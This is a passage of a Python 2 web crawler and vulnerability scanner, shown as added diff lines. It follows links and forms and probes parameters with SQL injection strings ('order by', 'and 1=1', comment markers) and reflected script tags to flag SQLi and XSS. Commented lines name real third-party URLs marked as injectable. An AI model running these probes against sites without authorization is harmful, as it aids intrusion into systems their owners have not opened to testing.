+                          # "bob.php?id=1" and "bob.php?id=2" count as two scans,
+                          # and until scanlimit is hit, it will continue to check
+                          # vulnerabilities on that URL
+
+indent="     "            # indent used when displaying the results
+ignorefileext="swf,fla,gif,jpeg,jpg,tiff,png,mng,pdf,dat,mpeg,mpg,mp2,mp3,wav,mod,mov,avi,asf,asx,ogg,asc,tgz,rpm,deb,gz,bz2,zip,rar,c,cpp,h,o,ko,py,so,torrent,js,css,msi,exe,bin,dmg,x86,ut4mod,wmv,rmvb,txt,n64,cbs,max,xps,xpi" # list of file extensions that shouldn't be downloaded and scanned 
+
+randidentlen=6            # this is so internal, you shouldn't touch it whatsoever
+decapitation=True         # this is so internal, you shouldn't touch it whatsoever
+
+## end advanced config ##
+
+
+########################################
+###     DO NOT TOUCH THE REST!!!     ###
+########################################
+
+## setup ##
+
+# import modules
+import socket,sre,time,random
+
+# debugging
+from sys import exit # exit() for debug
+# debug mode
+from sys import argv
+debug=False
+if len(argv)>=2: debug=(argv[1]=="1")
+
+# declare output variables
+urlfields={}
+postfields={}
+treedurls={}
+reportvar={}
+
+# get comment type to use
+if pagetype=="asp": comnt="%2d%2d"
+elif pagetype=="php": comnt="/*"
+else:
+        print "Unknown Page Type: "+pagetype.upper()
+        print "Using Default Database Comment: --"
+        comnt="%2d%2d"
+
+# get session stuff to use
+sessstr="(?i)"
+if pagetype=="asp": sessstr+="aspsessionid([a-z]{8})=([a-z]{8})"
+elif pagetype=="php": sessstr+="phpsessid=([a-z0-9]{32})"
+else:
+        print "Unknown Page Type: "+pagetype.upper()
+        sessstr+=pagetype+"sessid=([a-z0-9]{32})"
+        print "Using Default Session Syntax: --"
+
+# set up the ignore file extension variable to be useable
+ignorefileext=","+ignorefileext+","
+
+## end setup ##
+
+
+## function declaration ##
+
+# function to determine if a list object is empty in any way
+def listempty(listarg): return (listarg==None or listarg==[] or type(listarg)!=type([]) or len(listarg)==0)
+
+# function to edit files easily
+def filestuff(fname,body="",fptype=False):
+
+        if not fptype:
+                if body=="": fptype="r"
+                else: fptype="a"
+
+        fp=open(fname,fptype)
+        fp.write(str(body))
+        fp.close()
+
+# function to remove non unique items
+def uniqlist(listarg):
+        if type(listarg)!=type([]): return
+        newlist=[]
+        for i in range(len(listarg)):
+                if newlist.count(listarg[i])==0: newlist[len(newlist):len(newlist)]=[listarg[i]]
+        return newlist
+
+# function to get the page name of a url
+def pagename(url):
+        if url[:7]=="http://": url=url[7:]
+        slash=url.find("/")
+        if slash!=-1: url=url[slash:]
+        else: url="/"
+        return url
+
+# function to fix urls like "http://www.google.com" or "www.google.com" into "http://www.google.com/"
+def urlfix(url):
+        if url[:7]!="http://": url="http://"+url
+        slash=url[7:].find("/")
+        if slash==-1: url+="/"
+        return url
+
+# function to get the server name of a url
+def servername(url,ig_subd=ignore_subdomain):
+        url=urlfix(url)[7:]
+        url=url[:url.find("/")]
+#       if ig_subd: url=sre.sub("^.*?([^\.]*\.[^\.]*)$","\\1",url)
+        return url
+
+def checkserver(server):
+        global domains
+        for domain in domains:
+                if domain[:1]==".":
+                        if server[-len(domain)+1:]==domain[1:]: return True
+                else:
+                        if server==domain: return True
+        return False
+
+# function to fix the headers so they don't contain %25's (%'s) or the xxploit code
+def headerfupr(hdr,explt):
+        hdr=hdr.replace("%25","%")
+        hdr=hdr.replace(explt,"")
+        return hdr
+
+# function to remove urls from the body of a page
+def removeurls(body): return sre.sub("http://([^ \"\']+)","",body)
+
+# function to retreive the full path of a url based on the current page url
+def fullpath(url,pageurl):
+
+        if url.lower()[:7]=="http://": return url
+
+        if pageurl.count("?")!=0: pageurl=pageurl[:pageurl.find("?")]
+
+        if url.count("?")>0:
+                if url[:1]=="?": return pageurl+url
+                pageurl=pageurl[:pageurl.find("?")]
+
+        #pageurl=pageurl[:pageurl.find("?")]
+
+        pagedomain=pageurl[:pageurl[7:].find("/")+7]
+        if url[:1]=="/": return pagedomain+url
+
+        pagepath=pageurl[pageurl[7:].find("/")+7:]
+        pagepath=pagepath[:pagepath.rfind("/")+1]
+        path=pagepath+url
+        path=sre.sub("\.\/","\/",path)
+        path=sre.sub("\/([^\/]+)\/..\/","\/",path)
+
+        return pagedomain+path
+
+# function to get the value of HTML attribute before a ">"
+def getattrval(body,attr):
+        body=sre.sub("([^\>]*)\>([^\000]*)","\\1",body)
+        if sre.search(attr+"=(\"|'|)([^\\1\ \>]*)\\1",body)!=None:
+                delim=sre.sub("[^\>]* "+attr+"=(\"|'|)([^\\1\ \>]*)\\1([^\>]*)","\\1",body)
+                exp="[^\>]* "+attr+"=(\\"+delim+")([^"
+                if delim=="": exp+="\ "
+                else: exp+=delim
+                exp+="\>]*)\\"+delim+"([^\>]*)"
+                return sre.sub(exp,"\\2",body)
+        else: return ""
+
+# function to retreive a page based on input
+def getpage(url,dheaders=1,redir=0,realpage=0,poststring="",exceptions=0):
+
+        # function to recurse and try getpage() again with new values
+        def recurse(exceptions):
+
+                sock.close()
+                exceptions+=1
+
+                if exceptions<=6: return getpage(url,dheaders,redir,realpage,poststring,exceptions)
+                else:
+                        print "Too many recursions, skipping..."
+                        return
+
+
+        global usecookies,urllogfile,debug,ignorefileext
+        if not checkserver(servername(url)): return
+
+        if url.find("#")!=-1: url=url[:url.find("#")]
+
+        # file extensions that need to be ignored code
+        fileext=sre.sub(".*(http\://[^/]*/).*","\\1",url)
+        if url==fileext: fileext="None"
+        else: fileext=sre.sub("^.*\/[^/]*\.([^\&\#\?\/]*)[^/]*$","\\1",url)
+        if ignorefileext.count(","+fileext+",")!=0: return
+
+        try:
+
+                sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+                sock.connect((servername(url,False),80))
+
+                workurl=pagename(url)
+                theurl=url
+                if redir!=1: theurl=workurl
+
+                qrytype="GET"
+                if poststring!="": qrytype="POST"
+                out=(qrytype+" "+theurl+" HTTP/1.1\n"
+                     "Host: "+servername(url,False)+"\n"
+                     "Connection: close\n")
+                if usecookies:
+                        global cookies
+                        out+="Cookie: "+cookies+"\n"
+                if poststring!="":
+                        out+="Content-Type: application/x-www-form-urlencoded\n"
+                        out+="Content-Length: "+str(len(poststring))
+                        out+="\n\n"+poststring+"\n"
+                out+="\r\n\r\n"
+                sock.send(out)
+
+                # get response type and log the page
+                response=sock.recv(12)[-3:]
+                fp=open("logs/"+urllogfile,"a")
+                fp.write(url+": "+response+" "+str(realpage)+"\n")
+                if poststring!="": fp.write(indent+"POST: "+poststring+"\n")
+                fp.close()
+
+
+                # at 404 response, close connection and fail
+                if response=="404" or response=="500":
+                        sock.close()
+                        return
+
+                # at 30[1237] response types, recurse new page
+                if sre.search("30[1237]",response):
+                        while 1:
+                                chunk=""
+                                byte=sock.recv(1)
+                                while byte!="\r":
+                                        chunk+=byte
+                                        byte=sock.recv(1)
+                                sock.recv(1)
+                                if chunk.lower()[:9]=="location:":
+                                        location=chunk.lower()[9:].strip()
+                                        if location=="http://"+servername(url,False)+url: location="/"
+                                        locpage=fullpath(location,url)
+                                        sock.close()
+#                                       if url[len(url)-2:]=="" and locpage[len(locpage)-4:]=="": break
+                                        redir=1
+                                        if locpage!=url:
+                                                redir=0
+                                                if pagename(sre.sub("\\\\(\"|\')","\\1",locpage))==pagename(url):
+                                                        print "QUOTE REDIR"
+                                                        return
+                                        print "OLD:",url
+                                        print "NEW:",chunk.lower()
+                                        print "REDIR:",locpage
+                                        return getpage(locpage,redir=redir,realpage=realpage)
+                        if realpage==1:
+                                sock.close()
+                                return
+
+                elif realpage==1:
+                        sock.close()
+                        return url
+
+                # get headers, ignoring certain HTTP headers
+                headers=""
+                type=0
+                while 1:
+                        chunk=""
+                        byte=sock.recv(1)
+                        if byte=="\r":
+                                sock.recv(1)
+                                break
+                        while byte!="\r":
+                                chunk+=byte
+                                byte=sock.recv(1)
+                        sock.recv(1)
+
+                        if chunk.lower()[:11]!="set-cookie:" and chunk.lower()[:5]!="date:" and chunk.lower()[:15]!="content-length:" and chunk.lower()[:11]!="keep-alive:" and chunk.lower()[:18]!="transfer-encoding:" and chunk.lower()[:11]!="connection:":
+                                headers+=chunk
+
+#                       if chunk.lower()[:15]=="content-length:":
+#                               type=1
+#                               conlen=int(chunk[16:])
+
+                        if chunk.lower()[:26]=="transfer-encoding: chunked": type=2
+
+                # no special type specified, just get the page
+                if type==0:
+                        body=""
+                        while 1:
+                                chunk=sock.recv(200)
+                                body+=chunk
+                                if chunk=="": break
+
+
+                # set it up if it does have a type
+#               else:
+#                       byte=sock.recv(1)
+#                       if byte=="\r": sock.recv(1)
+#                       else:
+#                               while 1:
+#                                       i=-1
+#                                       while byte!="\r":
+#                                               i+=1
+#                                               byte=sock.recv(1)
+#                                       nbytes=sock.recv(3)
+#                                       if nbytes=="\n\r\n": break
+
+#               # content-length
+#               if type==1:
+#                       body=""
+#                       for i in range(conlen):
+#                               chunk=sock.recv(1)
+#                               body+=chunk
+
+                # transfer-encoding: chunked
+                if type==2:
+                        body=""
+                        chunksize=""
+                        while chunksize!=0:
+                                byte=""
+                                chunk=""
+                                while byte!="\r":
+                                        chunk+=byte
+                                        byte=sock.recv(1)
+                                sock.recv(1)
+                                chunksize=int(chunk,16)
+                                wchunksz=chunksize
+                                while wchunksz>=1:
+                                        subchunk=sock.recv(wchunksz)
+                                        body+=subchunk
+                                        wchunksz-=len(subchunk)
+                                sock.recv(2)
+
+                # clean up and return
+                sock.close()
+                if dheaders!=1: headers=""
+
+                return [headers,body,urlfix(url)]
+
+        # catch socket errors, such as "connection reset by peer" - trys again until it gives up and goes on to the next page
+        except socket.error:
+                print "Socket Error, Recursing..."
+                return recurse(exceptions)
+
+# function to remove everything in the "<head>" tag from a server response
+def decapitate(body):
+
+        if body==None: return
+
+        global decapitation
+        if decapitation==True: body=sre.sub("<head>(.+?)</head>","",body)
+
+        return body
+
+
+# function to generate a random identification string
+def randident(thelen=randidentlen,randchars="Bghi3rj9uwEFabTGH1ImnL4xpCstUOvoPYk25qVJK8Z0Q67lWXefMRSDcdyzAN"):
+#       global randidentlen
+        rndidnt=""
+        while len(rndidnt)<thelen:
+                random.seed(time.time())
+                rand=random.random()
+                rndidnt+=randchars[int(round(rand*(len(randchars)-1)))]
+        return rndidnt
+
+def randident_num(thelen=None):
+        if not thelen:
+                global randidentlen
+                thelen=randidentlen
+        return int(randident(thelen,"3490168257"))
+
+# function to initiate a single exploit
+def exploit(url,qry,namval,explt,post,poststring="",randstr=""):
+
+        def removeexplt(body,explt):
+        
+                def removeit(body,explt): return body.replace(explt,"")
+                remove=lambda:removeit(body,explt)
+
+                try:
+                        explt=str(int(explt))
+                        body=sre.sub("(?<![0-9])"+explt+"(?![0-9])","",body)
+
+                except ValueError:
+
+                        body=remove()
+                        explt=parsebody(explt)
+                        body=remove()
+        
+#                       if pagetype=="asp":
+#                               explt=explt.replace("%2D","-")
+#                               body=remove()
+#       
+#                       explt=explt.replace("+"," ")
+#                       body=remove()
+#       
+#                       explt=explt.replace("%20"," ")
+#                       body=remove()
+#       
+#                       explt=explt.replace("%2b","+")
+#                       body=remove()
+
+#               body=body.replace(explt.replace("+"," "),"")
+#                       body=body.replace(explt.replace("%2D","-"),"")
+#                       body=body.replace(explt.replace("+"," ").replace("%2D","-"),"")
+                return body
+
+        explt=str(explt)
+        randstr=str(randstr)
+
+        if randstr!="" and explt!=randstr: explt+=randstr # explt!=randstr possibly not needed
+
+        expltqry=sre.sub(namval+"[^\&]*(?=\&|$)",namval+explt,qry)
+        if not post: hab=getpage(url+expltqry,poststring=poststring)
+        else: hab=getpage(url,poststring=expltqry)
+        if listempty(hab): return
+
+#       headers=hab[0]
+        body=hab[1]
+
+        ##### ? # sre for all this crap? #####
+        if len(explt)>=4:
+                body=removeexplt(body,explt)
+                body=parsebody(body)
+                body=removeexplt(body,explt)
+        else: body=parsebody(body)
+        if randstr!="": body=removeexplt(body,randstr)
+
+        return body
+
+# function to parse the body for checking agsinst others
+def parsebody(body):
+
+        global sessstr,pagetype
+
+        body=body.replace("%2d","-")
+        body=body.replace("%2D","-")
+        body=body.replace("%25","%")
+        body=body.replace("%20"," ")
+        body=body.replace("+"," ")
+        body=body.replace("%2b","+")
+        body=body.replace("%2B","+")
+        body=body.replace("%22","\"")
+        body=body.replace("\\\"","\"")
+        body=body.replace("\\'","'")
+        body=body.replace("\n","")
+        body=body.replace("\r","")
+        body=sre.sub(sessstr,"",body)
+
+        # These might cause problems
+        body=sre.sub("\<script([^\>]*)\>(.*?)\</script\>","",body)
+        body=sre.sub("\<!--(.*?)--\>","",body)
+
+        if pagetype=="php":
+                body=sre.sub("(?i)\<input type=\"hidden\" name=\"phpsessid\" value=\"([a-z0-9]{32})\"( /|)\>","",body)
+        body=sre.sub(" alt=(\"|\')([^\\1\>]*)\\1","",body)
+        body=removeurls(body)
+
+        return body
+
+# function to check a value for SQL Injection
+def sqli_check(body,theurl,qry,namval,quot,post,poststring):
+        if sqli_intcheck(body,theurl,qry,namval,post,poststring): return True
+        if sqli_stringcheck(body,theurl,qry,namval,quot,post,poststring): return True
+        return
+
+# function to check an integer value for SQL Injection, this is a near 100% sure way to test integers for SQLI
+def sqli_intcheck(body,theurl,qry,namval,post,poststring):
+
+        name=namval[:namval.find("=")]
+        rvalue=namval[namval.find("=")+1:]
+        try: rvalue=int(rvalue)
+        except ValueError: return # Not an integer, sorry :(
+
+        while True:
+                xtrm=randident_num(5)
+                if rvalue!=xtrm: break
+        bodyxtrm=exploit(theurl,qry,name+"=",xtrm,post,poststring,xtrm) # integer is random 5 characters, creating an "extreme" page to check against
+
+        i_s=[0,4,6]
+        i_s.sort()
+        i_s.reverse()
+        for i in i_s:
+                if i==0:
+                        value=rvalue
+                        body=exploit(theurl,qry,name+"=",str(value-1)+"%2b1",post,poststring)
+                        if body!=bodyxtrm: break
+                        return
+
+                value=randident_num(i)
+                body=exploit(theurl,qry,name+"=",str(value-1)+"%2b1",post,poststring)
+                if body!=bodyxtrm: break
+
+        bodyplus=exploit(theurl,qry,name+"=",str(value-2)+"%2b2",post,poststring)
+
+        filestuff("1",body,"w")
+        filestuff("2",bodyplus,"w")
+        filestuff("3",bodyxtrm,"w")
+
+        # if the addition occurs and the extreme case is different, it's vulnerable
+        if bodyplus==body and body!=bodyxtrm:
+                print "INTEGER VULN:",theurl,namval
+                return True
+        return
+
+# function to check a string value for SQL Injection, this is not as precise as the integer check, but it's still good
+def sqli_stringcheck(body,theurl,qry,namval,quot,post,poststring):
+        randstr=randident()
+        bodyemp=exploit(theurl,qry,namval,quot+"+"+comnt,post,poststring)
+        pbodyq=exploit(theurl,qry,namval,quot+"+"+comnt,post,poststring,randstr)
+        if bodyemp!=pbodyq:
+                randstr=""
+                pbodyq=bodyemp
+
+        firsttrue=True
+        if body!=pbodyq:
+                ordtest=pbodyq
+                pbodyand=exploit(theurl,qry,namval,quot+"+and+1%3D1+"+comnt,post,poststring,randstr)
+                if body!=pbodyand:
+                        ordtest=pbodyand
+                        pbodyord=exploit(theurl,qry,namval,quot+"+order+by+1+"+comnt,post,poststring,randstr)
+                        if body!=pbodyord:
+                                ordtest=pbodyord
+                                pbodynb=exploit(theurl,qry,namval,quot+"+and+"+quot+"1"+quot+"%3D"+quot+"1",post,poststring)
+                                if body!=pbodynb:
+                                        firsttrue=False
+        else:
+                pbodyord=exploit(theurl,qry,namval,quot+"+order+by+1+"+comnt,post,poststring,randstr)
+                if body!=pbodyord:
+                        ordtest=pbodyord
+                else:
+                        pbodyand=exploit(theurl,qry,namval,quot+"+and+1%3D1+"+comnt,post,poststring,randstr)
+                        if body!=pbodyand:
+                                ordtest=pbodyand
+                        else:
+                                ordtest=body
+
+
+        if firsttrue:
+                nbodyrand=exploit(theurl,qry,namval,quot+"+"+randident(),post,poststring,randstr)
+                if body!=nbodyrand and ordtest!=nbodyrand:
+                        nbodyq=exploit(theurl,qry,namval,"'\"",post,poststring,randstr)
+                        if body!=nbodyq and ordtest!=nbodyq:
+                                nbodyord=exploit(theurl,qry,namval,quot+"+order+by+999+"+comnt,post,poststring,randstr)
+                                if body!=nbodyord and ordtest!=nbodyord:
+                                        print "STRING VULN:",theurl,namval
+                                        return True
+
+        return
+
+#       nbodynb=exploit(theurl,qry,namval,quot+"+and+"+quot+"1"+quot+"%3D"+quot+"0",post,poststring)
+#       if (body==pbodyq or body==pbodyand or body==pbodyord or body==pbodynb) and (body!=nbodyq and body!=nbodyord):
+
+# function to fully exploit a url, and return the results
+def fullxplt(worldbody,theurl,vars,qry,post,poststring=""):
+
+        global pagetype,xssscan,sqliscan,checklevel
+
+        sqlivulns=[]
+        xssvulns=[]
+        worldbody=decapitate(worldbody)
+
+        for i in range(len(vars)):
+
+                namval=vars[i]
+                name=namval[:namval.find("=")]
+#               if name=="xss": return
+                value=namval[namval.find("=")+1:]
+
+                if pagetype=="php" and name.lower()=="phpsessid":
+                        continue
+
+                # SQLI (SQL Injection) Vulnerability Checker
+                if sqliscan:
+                        worldbody=parsebody(worldbody)
+                        if checklevel<=2:
+                                if sqli_intcheck(worldbody,theurl,qry,namval,post,poststring): sqlivulns.append(name)
+                        else:
+                                bodychk=decapitate(exploit(theurl,qry,namval,"'\"",post,poststring))
+                                if worldbody!=bodychk:
+                                        if sqli_check(worldbody,theurl,qry,namval,"",post,poststring): sqlivulns.append(name)
+                                        elif sqli_check(worldbody,theurl,qry,namval,"'",post,poststring): sqlivulns.append(name)
+                                        elif sqli_check(worldbody,theurl,qry,namval,'"',post,poststring): sqlivulns.append(name)
+
+                # XSS (Cross Site Scripting) Vulnerability Checker
+                if xssscan:
+
+                        if checklevel<=2:
+                                try:
+                                        value=int(value)
+                                        xssplt=str(randident_num())
+                                except ValueError:
+                                        if checklevel==1: continue
+                                        xssplt=randident()
+
+                                xssplt+="<script>"
+
+                                if post==0: body=getpage(theurl+sre.sub(namval+"[^\&]*(?=\&|$)",namval+xssplt,qry),poststring=poststring)
+                                else: body=getpage(theurl,poststring=sre.sub(namval+"[^\&]*(?=\&|$)",namval+xssplt,qry))
+                                if not listempty(body):
+                                        body=body[1]
+                                        if body.count(xssplt)!=0:
+                                                xssvulns.append(name)
+                                                continue
+
+
+                        else:
+                                xssplt=randident()+"<d>"
+                                #xssplt=randident()+randident() # old method
+                                if post==0: body=getpage(theurl+sre.sub(namval+"[^\&]*(?=\&|$)",namval+xssplt,qry),poststring=poststring)
+                                else: body=getpage(theurl,poststring=sre.sub(namval+"[^\&]*(?=\&|$)",namval+xssplt,qry))
+                                if not listempty(body):
+                                        body=body[1]
+                                        if body.count(xssplt)!=0:
+                                                xssvulns.append(name)
+                                                continue
+        
+                                xssplt=randident()+'"fg'
+                                if post==0: body=getpage(theurl+sre.sub(namval+"[^\&]*(?=\&|$)",namval+xssplt,qry),poststring=poststring)
+                                else: body=getpage(theurl,poststring=sre.sub(namval+"[^\&]*(?=\&|$)",namval+xssplt,qry))
+                                if not listempty(body):
+                                        body=body[1]
+                                        if body.count(xssplt)!=0:
+                                                xssvulns.append(name)
+                                                continue
+
+        return [sqlivulns,xssvulns]
+
+# function to prepare for fullxplt()
+def checkvars(url,poststring=""):
+
+        print "( __ )",url
+
+        global pagetype,comnt
+        post=0
+        if poststring!="": post=1
+        getvars=[]
+        postvars=[]
+
+        qloc=url.find("?")
+        if qloc!=-1:
+                theurl=url[:qloc]+"?"
+                qry=url[qloc+1:].replace("&amp;","&")
+                getvars=qry.split("&")
+        elif post==0: return
+
+        if post==1:
+                postvars=poststring.split("&")
+                hab=getpage(url,poststring)
+        else: hab=getpage(url)
+
+        print "PP"
+
+        if listempty(hab): return
+
+        getvars=uniqlist(getvars)
+        postvars=uniqlist(postvars)
+
+        worldbody=hab[1]
+        getvulns=[]
+        postvulns=[]
+
+        print "QQ",getvars,postvars
+
+        if not listempty(getvars): getvulns=fullxplt(worldbody,theurl,getvars,qry,0,poststring)
+        if not listempty(postvars): postvulns=fullxplt(worldbody,url,postvars,poststring,1)
+
+        print "ZAP!"
+
+        if not listempty(getvulns): getvulns=[uniqlist(getvulns[0]),uniqlist(getvulns[1])]
+        if not listempty(postvulns): postvulns=[uniqlist(postvulns[0]),uniqlist(postvulns[1])]
+
+        return [hab[2],getvulns,postvulns]
+
+# function to display the results of a single exploit, and record the results to the reportvar variable
+def dispvulns(vulns,url):
+
+        global indent,reportvar,vulnlogfile
+
+        if url.find("?")!=-1: url=url[:url.find("?")]
+        output=url+":"
+
+        if not listempty(vulns):
+
+                getvulns=vulns[1]
+                postvulns=vulns[2]
+
+                gvtest=not listempty(getvulns)
+                if gvtest: gvtest=not listempty(getvulns[0]) or not listempty(getvulns[1])
+
+                pvtest=not listempty(postvulns)
+                if pvtest: pvtest=not listempty(postvulns[0]) or not listempty(postvulns[1])
+
+                if gvtest or pvtest:
+
+                        output+="\n"
+
+                        if gvtest:
+                                getvulns[0].sort()
+                                getvulns[1].sort()
+                                output+=indent+"GET: "
+                                if not listempty(getvulns[0]):
+                                        output+="SQLI - "+str(getvulns[0])
+                                        if not listempty(getvulns[1]):
+                                                output+=" | "
+                                if not listempty(getvulns[1]):
+                                        output+="XSS - "+str(getvulns[1])
+                                output+="\n"
+
+                        if pvtest:
+                                postvulns[0].sort()
+                                postvulns[1].sort()
+                                output+=indent+"POST: "
+                                if not listempty(postvulns[0]):
+                                        output+="SQLI - "+str(postvulns[0])
+                                        if not listempty(postvulns[1]):
+                                                output+=" | "
+                                if not listempty(postvulns[1]):
+                                        output+="XSS - "+str(postvulns[1])
+                                output+="\n"
+
+                        output=output[:-1]
+
+                        # record results to the reportvar variable
+                        if reportvar.has_key(url):
+                                getlist=reportvar[url][0]
+                                if not listempty(getvulns):
+                                        if listempty(getlist): getlist=getvulns
+                                        else:
+
+                                                if not listempty(getlist[0]):
+                                                        getlist[0][len(getlist[0]):len(getvulns[0])]=getvulns[0]
+                                                        getlist[0]=uniqlist(getlist[0])
+                                                else: getlist[0]=getvulns[0]
+
+                                                if not listempty(getlist[1]):
+                                                        getlist[1][len(getlist[1]):len(getvulns[1])]=getvulns[1]
+                                                        getlist[1]=uniqlist(getlist[1])
+                                                else: getlist[1]=getvulns[1]
+
+                                postlist=reportvar[url][1]
+                                if not listempty(postvulns):
+                                        if listempty(postlist): postlist=postvulns
+                                        else:
+
+                                                if not listempty(postlist[0]):
+                                                        postlist[0][len(postlist[0]):len(postvulns[0])]=postvulns[0]
+                                                        postlist[0]=uniqlist(postlist[0])
+                                                else: postlist[0]=postvulns[0]
+
+                                                if not listempty(postlist[1]):
+                                                        postlist[1][len(postlist[1]):len(postvulns[1])]=postvulns[1]
+                                                        postlist[1]=uniqlist(postlist[1])
+                                                else: postlist[1]=postvulns[1]
+                        else:
+                                reportvar[url]=[getvulns,postvulns]
+                else: return
+        else: return
+
+        filestuff("logs/"+vulnlogfile,output+"\n")
+        print output
+
+treeglob=1
+
+# function to tree a site and initiate vulnerability checks on the pages found
+def treepages(url,level):
+
+        global treeglob,urlfields,postfields,treedurls,levels,server,vulnlogfile,scanlimit,ignorefileext
+        print ">>>>>>>>",level,"<<<<<<<<"
+
+        print " ---> "+url
+
+        pageinfo=getpage(url)
+        if listempty(pageinfo): return
+
+        body=pageinfo[1].lower()
+
+        print "AA"
+
+        # select/option, textarea
+        # check for forms
+        bodyarr=sre.split("<form",body)
+        for i in range(len(bodyarr)):
+
+                frmsect=bodyarr[i][:bodyarr[i].find(">")]
+                frmbody=bodyarr[i][bodyarr[i].find(">"):][:bodyarr[i].find("</form>")]
+
+                actionurl=getattrval(frmsect,"action")
+                if actionurl=="" or actionurl==frmsect or actionurl=="\"\"": actionurl=pageinfo[2]
+                if actionurl.count(";")>0: actionurl=actionurl[actionurl.find(";")+1:]
+                if actionurl[:11].lower()=="javascript:": continue
+                actionurl=fullpath(actionurl,pageinfo[2])
+
+                print "ACTION:",actionurl
+
+                # get the input variables
+                poststring=""
+                inputarr=sre.sub("(.*?)\<input([^\>]*)\>(.*?)","\\2|ZZaaXXaaZZ|",frmbody).split("|ZZaaXXaaZZ|")
+                for j in range(len(inputarr)):
+
+                        name=getattrval(inputarr[j],"name")
+                        if name==inputarr[j] or name=="" or name=="\"\"": continue
+
+                        value=getattrval(inputarr[j],"value")
+                        if value==inputarr[j] or value=="" or value=="\"\"": value=""
+
+                        if poststring!="": poststring+="&"
+                        poststring+=name+"="+value
+
+                # get select/option tags
+                selectarr=sre.sub("(.*?)\<select([^\>]*)\>(.*?)","\\2|ZZaaXXaaZZ|",frmbody).split("|ZZaaXXaaZZ|")
+                for j in range(len(selectarr)):
+
+                        name=getattrval(selectarr[j],"name")
+                        if name==selectarr[j] or name=="" or name=="\"\"": continue
+
+                        value=sre.sub("(.*?)\<option([^\>]*)value=(\"|'|)([^\\3\ ]*)\\3([^\>]*)\>(.*?)","\\2",selectarr[j])
+                        if value==selectarr[j] or value=="" or value=="\"\"": value=""
+
+                        if poststring!="": poststring+="&"
+                        poststring+=name+"="+value
+                        print "sel/opt: "+name+"="+value
+
+                if poststring=="": continue
+
+                if sre.search("method=([\'\"]|)post([\'\"]|)",frmsect[:frmsect.find(">")].lower())==None:
+                        if actionurl.find("?")!=-1: actionurl+="&"
+                        else: actionurl+="?"
+                        actionurl+=poststring
+                        body+='<a href="'+actionurl+'">'
+                        print 'GETT <a href="'+actionurl+'">'
+                        continue
+
+                # determine if it needs to be scanned, and if so, scan it
+                postscan=0
+                postvars=poststring.split("&")
+                if postfields.has_key(actionurl):
+                        for j in range(len(postvars)):
+                                postvars[j]=postvars[j][:postvars[j].find("=")]
+                                if postfields[actionurl].count(postvars[j])==0:
+                                        postfields[actionurl].append(postvars[j])
+                                        postscan=1
+                else:
+                        for j in range(len(postvars)): postvars[j]=postvars[j][:postvars[j].find("=")]
+                        postfields[actionurl]=postvars
+                        postscan=1
+
+                if postscan==1:
+                        vulns=checkvars(actionurl,poststring)
+                        if not listempty(vulns): dispvulns(vulns,actionurl)
+
+        print "BB"
+
+        # check for urls in "href" tags
+        # ? # part of 3? (src|href|location|window.open)= and http://
+        urlreg="(\'|\")(?!javascript:)(([^\>]+?)(?!\.("+ignorefileext.replace(",","|")+"))(.{3,8}?)(|\?([^\>]+?)))"
+        urlarr=sre.sub("(?s)(?i)(.+?)((src|href)=|location([\ ]*)=([\ ]*)|window\.open\()"+urlreg+"\\6","\\7|ZZaaXXaaZZ|",body).split("|ZZaaXXaaZZ|")
+        del urlarr[len(urlarr)-1]
+        urlarr.append(sre.sub("(?s)(?i)(.+?)(src|href)="+urlreg+"\\3","\\4|ZZaaXXaaZZ|",body).split("|ZZaaXXaaZZ|"))
+        del urlarr[len(urlarr)-1]
+        for i in range(len(urlarr)):
+
+                theurl=fullpath(urlarr[i],pageinfo[2])
+                if not checkserver(servername(theurl)): continue
+
+                # determine if it needs scanned and/or treed, and if so, scan and/or tree it
+                getscan=0
+                if theurl.count("?")!=0:
+                        nqurl=theurl[:theurl.find("?")]
+                        query=theurl[theurl.find("?")+1:]
+                        query=sre.sub("\&amp\;","\&",query)
+                        qryvars=query.split("&")
+                        if urlfields.has_key(nqurl):
+                                for j in range(len(qryvars)):
+                                        qryvars[j]=qryvars[j][:qryvars[j].find("=")]
+                                        if urlfields[nqurl].count(qryvars[j])==0:
+                                                urlfields[nqurl].append(qryvars[j])
+                                                getscan=1
+                        else:
+                                for j in range(len(qryvars)): qryvars[j]=qryvars[j][:qryvars[j].find("=")]
+                                urlfields[nqurl]=qryvars
+                                getscan=1
+                else:
+                        if urlfields.has_key(theurl)==False: urlfields[theurl]=[]
+                        nqurl=theurl
+
+                if getscan==1:
+                        vulns=checkvars(theurl)
+                        if not listempty(vulns): dispvulns(vulns,theurl)
+                tree=treeglob
+                if treedurls.has_key(nqurl):
+                        if treedurls[nqurl].count(theurl)==0 and len(treedurls[nqurl])<=scanlimit:
+                                treedurls[nqurl].append(theurl)
+                        else: tree=0
+
+                else: treedurls[nqurl]=[theurl]
+                if tree==1 and level<levels:
+                        realurl=getpage(theurl,realpage=1)
+                        if theurl!=realurl and realurl!=None:
+                                body+=' href="'+realurl+'" '
+                        print "treeee"
+                        try: treepages(theurl,level+1)
+                        except KeyboardInterrupt:
+                                treeglob=0
+                                print "TREEGLOB CHANGED TO ZERO"
+                                treepages(theurl,level+1)
+
+
+## end function declaration ##
+
+## initialize the script ##
+
+# setup
+# server=servername(site)
+starttime=time.time()
+treedurls[site]=[site]
+
+# url="http://www.omnipen.net/vuln.php?id=2&xss=1"
+# domains=[".omnipen.net"]
+# usecookies=False
+#http://client.gamecenter.com/pages/gamespace/story.php?sid=6127385&pid=199212"
+# exit()
+# url="http://blogs.bnet.com/smallbusiness/index.php?p=21?tag=bnet.blogdoor" # diff tests
+# url="http://blogs.bnet.com/"
+#url="http://www.mp3.com/games/soundtrack.php?game_id=68" # NO
+#url="http://www.mp3.com/faq/terms.php?tag=mp3.ft.no" # NO
+#url="http://www.gamespot.com/cgi/gumclik.html?id=11917&s=6117511&p=5" # SQLI - id
+#url="http://forums.gamespot.com/gamespot/report_abuse.php?message_id=202371898&topic_id=19054979&board_id=909100112" # SQLI - all 3
+# print checkvars(url,"")
+# print getpage(url)
+# print treepages(url,0)
+# print "FINAL QUIT"
+# exit()
+
+# initiate treeing, and handle keyboard interrupts
+if debug: treepages(site,0)
+else:
+        try: treepages(site,0)
+        except KeyboardInterrupt: print "\nKeyboard Interrupt, exiting..."
+
+## end initialization ##
+
+
+# get time elapsed, write it, and print it
+
+endtime=time.time()
+timeelapsed=endtime-starttime
+timeout="Time Elapsed: "+str(timeelapsed)+" Seconds\n"
+
+filestuff("logs/"+vulnlogfile,"\n"+timeout+"\n")
+
+print timeout
+
+
+## write report ##
+
+urls=reportvar.keys()
+urls.sort()
+if not listempty(urls):
+
